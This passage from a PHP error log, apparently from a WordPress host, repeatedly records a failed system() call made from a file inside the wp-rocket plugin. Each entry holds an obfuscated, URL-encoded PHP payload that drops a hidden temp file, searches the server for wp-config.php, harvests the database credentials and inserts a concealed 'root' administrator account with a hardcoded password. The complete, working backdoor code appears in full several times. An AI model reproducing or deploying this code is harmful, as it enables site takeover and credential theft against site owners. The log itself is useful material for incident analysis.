20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.oauthexceptions&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[12-Nov-2025 11:15:36 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.request&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[13-Nov-2025 05:44:10 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27root%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Zb%7B0%40U%7BvsFjq%26%23j%28%3C%3FL%5BIy0Hi_%239%5Di-LlJN0%3DEc%27%3B%20%20%20%20%20%24user_email%20%3D%20%27admin%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27/home/velstone%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B&quot;);foreach($dirs as $d){if(is_dir($d)&amp;&amp; is_writable($d)){$p=&quot;{$d}/.dbx_convert&quot;;if(file_put_contents($p,$c)){include $p;@unlink($p);exit;}}}die(&quot;!notwrtbl!&quot;);'] in /home/velstone/noordvest.com/wp-content/plugins/wp-rocket/inc/Engine/Media/PreconnectExternalDomains/Frontend/query.php on line 29
[13-Nov-2025 12:34:51 UTC] PHP Parse error:  syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 1
[14-Nov-2025 11:23:50 UTC] PHP Warning:  system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),&quot;/tmp&quot;,&quot;/var/tmp&quot;,ini_get(&quot;upload_tmp_dir&quot;),getenv(&quot;TEMP&quot;),getenv(&quot;TMP&quot;),getcwd()]);$c=rawurldecode(&quot;%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%